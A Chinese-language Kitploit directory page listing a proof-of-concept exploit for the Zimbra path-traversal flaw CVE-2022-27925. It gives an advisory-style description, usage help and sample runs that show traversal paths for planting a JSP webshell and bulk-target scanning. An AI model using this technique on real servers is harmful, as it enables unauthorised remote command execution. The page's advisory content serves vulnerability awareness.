Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-27925 — PoC | Kitploit
工具/GitHubGitHub/sanan2004/cve-2022-27925
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubsanan2004/cve-2022-27925

CVE-2022-27925

PoC

查看仓库
22年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-27925

描述

2022 年 5 月 10 日,Zimbra 发布了 9.0.0 Patch 24 和 8.8.15 Patch 31,以解决 Zimbra Collaboration Suite 中的多个漏洞,包括 CVE-2022-27924(我们之前写过)和 CVE-2022-27925。

最初,Zimbra 将 CVE-2022-27925 称为认证路径遍历攻击,即管理员用户可以将文件写入文件系统上 Zimbra 账户下的任意目录。由于该漏洞最初被认为是仅限管理员利用的,NVD 为其分配了 7.8 的 CVSS 基础分数。后来,Volexity 注意到利用此漏洞的攻击者找到了一种绕过管理员要求的方法,并于 2022 年 8 月 10 日撰写了相关文章。这一新的认证绕过漏洞获得了新的标识符——CVE-2022-37042。

通过结合原始的路径遍历漏洞和新的认证绕过,攻击者可以通过管理员端口(默认 7071)匿名远程入侵 Zimbra Collaboration Suite 系统。结合我们最近撰写并编写了利用代码的、目前尚未修补的权限提升漏洞,这三个漏洞可在未修补的系统上实现以 root 用户身份执行远程命令。

尽管公开公告中未提及,但根据我们的分析,Zimbra Collaboration Suite Network Edition(付费版)存在漏洞,而 Open Source Edition(免费版)则不存(因为它没有存在漏洞的 mboximport 端点)。受影响版本为:

  • Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23(及更早版本)
  • Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30(及更早版本)

这些漏洞(以及 Zimbra 中的其他漏洞)正在被广泛针对性地野外利用,因此应尽快修补或下线。如果您怀疑已遭入侵,Zimbra 提供了从最新补丁重新构建 Zimbra Collaboration Suite 服务器的步骤,且不会丢失数据。

来源:https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis

用法

root@kitploit:~
 _____   _           __
/__  /  (_)___ ___  / /_  _________ _
  / /  / / __ `__ \/ __ \/ ___/ __ `/
 / /__/ / / / / / / /_/ / /  / /_/ /
/____/_/_/ /_/ /_/_.___/_/   \__,_/
                    CVE-2022-27925

usage: exploit.py [-h] [-t TARGET] [-l LIST]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        URl with protocol HTTPS
  -l LIST, --list LIST  List of targets

示例运行

root@kitploit:~
root@root# python exploit.py -t zimbra.example.com
 _____   _           __
/__  /  (_)___ ___  / /_  _________ _
  / /  / / __ `__ \/ __ \/ ___/ __ `/
 / /__/ / / / / / / /_/ / /  / /_/ /
/____/_/_/ /_/ /_/_.___/_/   \__,_/
                    CVE-2022-27925 Sanan Qasim

[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux

root@root# python exploit.py -l targets.txt

 _____   _           __
/__  /  (_)___ ___  / /_  _________ _
  / /  / / __ `__ \/ __ \/ ___/ __ `/
 / /__/ / / / / / / /_/ / /  / /_/ /
/____/_/_/ /_/ /_/_.___/_/   \__,_/
                    CVE-2022-27925 sanan Qasim

[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
下载工具